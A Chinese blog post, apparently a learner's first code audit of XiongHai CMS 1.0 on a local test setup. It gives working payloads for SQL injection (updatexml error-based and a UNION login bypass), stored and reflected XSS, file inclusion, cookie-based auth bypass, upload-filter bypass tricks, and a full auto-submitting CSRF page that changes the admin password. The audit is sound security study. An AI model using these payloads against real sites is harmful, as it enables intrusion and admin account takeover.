玩命加载中 . . .

php代码审计初试-熊海CMS1-0


源码下载

站长下载:http://down.chinaz.com/soft/36930.htm

环境配置

VSCode phpstudy2018 php5.6.27

配置方法:国光大佬https://www.sqlsec.com/2020/09/xdebug.html

CMS目录

admin             --后台文件夹
css               --css文件夹
files             --存放网站的各种功能页面文件夹
images            --存放图片文件夹
inc               --配置文件夹
install           --网站安装文件夹
seacmseditor      --网站的编辑器文件夹
template          --模板文件夹
upload            --存放网站上传的文件
index.php         --网站入口

入口分析

index.php

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

get接收r,包含r名的php文件,没有经过过滤可以跨目录包含任意php文件

写一个phpinfo文件包含尝试、
upload successful

继续查看files/index.php

upload successful
34行

<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>"

跟进一下

upload successful
get接收了cid,经过addslashes函数,转义了单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)
upload successful
绕过addslashes()方法

1.没有使用单引号或双引号闭合,直接注入己可

2.宽字节注入

%df%27
gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来

3.经过编码后转义在解码插入sql语句

upload successful
查看编码不是gbk,放弃宽字节注入

发现19行的查询id并没有进行单引号或双引号闭合,可以注入,而且可回显,直接报错注入

?r=content&cid=1 or(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))

upload successful
upload successful

继续看154有留言功能

upload successful

跟进一下(content.php后面也没传参代码)

先设置了session,对传入的type进行了addslashes()其他的参数暂时并未转义

进行了验证码的判断

if(strtolower($_POST['randcode'])<>addslashes($_SESSION['randcode'])){ 
echo "<Script language=JavaScript>alert('抱歉,验证码错误,请重新输入!');history.back();</Script>";
exit; 
}

然后是对是否为空的判断
35~38是对判断评论是否含有GBK中文编码汉字

if (!preg_match("/([\x81-\xfe][\x40-\xfe])/", $content, $match)) {
echo "<Script language=JavaScript>alert('亲,再说点别的了吧?');history.back();</Script>";
exit;    
}

48行

$content= addslashes(strip_tags($content));//过滤HTML

strip_tags从字符串中去除 HTML 和 PHP 标记
又进行了addslashes转义

个人目前觉得没问题

66行,发现mail没用经过任何过滤 拼接到查询语句中
存在sql注入,闭合标签,报错注入

$query = "SELECT * FROM interaction WHERE( mail = '$mail')";

payload:

') and updatexml(1,concat(0x7e,user()),1)#

继续向后看,根据配置设置不同的参数,暂时不管

121行~147行进行将传参放入数据库中,发现很多参数没用经过过滤存在存储xss,sql注入
比如name参数
存储xss,发现前台输出评论时也没经过任何过滤

upload successful
后台输出时候也没经过过滤,所有可以打后台

upload successful
payload:

<script>alert(1)</script>

upload successful
sql报错注入,因为有回显

' and updatexml(1,concat(0x7e,user()),1) and '

拼接后执行的语句

"INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'1',
'1',
'5',
'' and updatexml(1,concat(0x7e,user()),1) and '',
'name',
'http://name',
'81',
'PC',
'127.0.0.1',
'name sql 测试',
'1',
now()
)"

通过引号的闭合执行语句

继续
if ($pltz==1)执行下面的代码,发现中间sql的查询
upload successful
而且cid的变量未经过过滤

查看如何让pltz==1

upload successful
需要站长开启,新留言评论通知,我们开启尝试一下
upload successful
报错注入,同样有回显
payload(type要等于comment或download,这样type才能等于1or3
才能执行sql语句):

5)%20and%20updatexml(1,concat(0x7e,user()),1)#

upload successful

继续看file下的文件

about.php contact.php 同理

upload successful
contact.php还存在反射形xss
upload successful
payload:

/?r=contact&page=<script>alert(1)</script>

upload successful

software.php

upload successful
同理第二个地方存在注入

payload:

1 and updatexml(1,concat(0x7e,user()),1)#

admin目录

入口文件同初始入口目录相同,也同样存在文件包含

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

继续进入/admin/files/index.php目录

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>

查看checklogin.php对登录的验证

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;    
}
?>

也就是说如果cookie中的user不为空就可以直接跳过登录,存在未授权访问
upload successful
这里index里还包含了后台的菜单等会再看
先查看登录页面login.php
upload successful
username并未经过过滤,存在sql注入
upload successful
同时这里还存在任意密码登录

参考大佬的文章(涨知识了):https://xz.aliyun.com/t/7629

什么原理呢??它这里通过查询返回的passwd字段与传入passwd的md5比较
而这个passwd字段我们是可控的,那么就任意密码登录了
upload successful

upload successful

所以payload:

username:1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1

这样比注入拿到md5的passwd反过来解登录舒服
登录跳转回index,查看刚刚index没看的后台菜单
95行调用了/template/top.php
upload successful
跟进看一下

upload successful
54行对cookie的user并未经过任何过滤直接执行sql,存在cookie注入
而且有回显报错注入
upload successful
继续查看/template/sidebar.php
有发布内容 内容管理 栏目管理 友情链接
互动 设置等功能
查看发布内容
\admin\files\newwz.php
upload successful
查看对于上传文件的处理
upload successful
获取文件名称后三个字母

 function GetFileTypeToString()
 {
  if( ! empty( $this -> uploadFile[ 'name' ] ) )
  {
   return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );  
  }
 }
}

后三个字母进行白名单处理

function GetFileMIME()
 {
  return $this->GetFileTypeToString();
 }
function CheckFileMIMEType()
 {
  $pass = false;
  $defineTypeList = strtolower( $this ->defineTypeList);
  $MIME = strtolower( $this -> GetFileMIME());
  if (!empty ($defineTypeList))
  {
   if (!empty ($MIME))
   {
    foreach(explode("|",$defineTypeList) as $tmp)
    {
     if ($tmp == $MIME)
     {
      $pass = true;
     }
    }

到目前为止其实还是可以绕过的,可以利用shell.php/jpg
test.php%00.jpg test.php:1.jpg(windows)

取决于你的保存方式

查看保存

upload successful
随机数+时间加文件名后三位,就是检测的后三位,抬走上传不了(个人理解)即使传图片马利用文件包含但是我们没似乎也不知道文件名

继续看发布文章,83行没有经过过滤直接插入数据库存在sql注入
upload successful
payload:

1' and updatexml(1,concat(0x7e,user()),1) and '

发布下载newsoft和上面一样不看了

继续看wzlist.php

upload successful
同样原理sql注入不在多说,编辑文章和上面一样
softlist.php和newsoft一样不看了
继续看栏目管理
newcolumn.php没有过滤sql注入(同样原理)
upload successful
columnlist.php sql注入
upload successful
后面的各种设置漏洞都差不多
查看修改密码部分

upload successful
修改密码并没有要之前的密码,而验证是否是管理员
还是cookie的方式
所以存在csrf
burp抓包
upload successful

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/127.0.0.1\/xhcms\/admin\/?r=manageinfo", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------36130568313950689285470620618");
        xhr.withCredentials = true;
        var body = "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"user\"\r\n" + 
          "\r\n" + 
          "admin\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"name\"\r\n" + 
          "\r\n" + 
          "admin\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"password\"\r\n" + 
          "\r\n" + 
          "12345\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"password2\"\r\n" + 
          "\r\n" + 
          "12345\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"mail\"\r\n" + 
          "\r\n" + 
          "me@isea.so\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"qq\"\r\n" + 
          "\r\n" + 
          "86226999\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"images\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"save\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------36130568313950689285470620618--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/127.0.0.1\/xhcms\/admin\/?r=manageinfo", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------36130568313950689285470620618");
        xhr.withCredentials = true;
        var body = "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"user\"\r\n" + 
          "\r\n" + 
          "admin\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"name\"\r\n" + 
          "\r\n" + 
          "admin\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"password\"\r\n" + 
          "\r\n" + 
          "12345\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"password2\"\r\n" + 
          "\r\n" + 
          "12345\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"mail\"\r\n" + 
          "\r\n" + 
          "me@isea.so\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"qq\"\r\n" + 
          "\r\n" + 
          "86226999\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"images\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------36130568313950689285470620618\r\n" + 
          "Content-Disposition: form-data; name=\"save\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------36130568313950689285470620618--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input id="lnng" type="Submit" value="Submit" onclick="submitRequest();" />
    </form>
      <script type="text/javascript">                          // js自动点击
      var lnng = document.getElementById("lnng");
      lnng.click();
  </script>
  </body>
</html>

设置js自动点击,在设置之前的存储xss跳转到csrf页面
成功修改密码

后台中还有很多比如删除文章等地方同样存在csrf,同样原理

最后

第一次代码审计选了个简单的cms,不涉及框架很适合我这种小白,体验还不错(其实看了蛮久的,唉)

如有错误请大佬指点,感谢

参考文章

evils大佬:https://evi1s.com/archives/124/


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 上一篇
phpMVC 结构审计-YxtCMFv6.1 phpMVC 结构审计-YxtCMFv6.1
配置下载地址:http://down.chinaz.com/soft/38075.htm 目录admin //后台静态文件 appliication //应用文件 data //数据配置文件 Expand //扩展类
2021-04-14
下一篇 
内网信息收集学习笔记 内网信息收集学习笔记
前言本文主要是学习《内网安全攻防 渗透测试实战指南》的阅读笔记防止遗忘也是总结吧 基本命令 探测域内存活主机利用NetBIOSNetBIOS是局域网程序使用的一种应用程序编程接口,为程序提供了请求低级别服务的统一命令集,为局域网提供了网络及
2021-02-07
  目录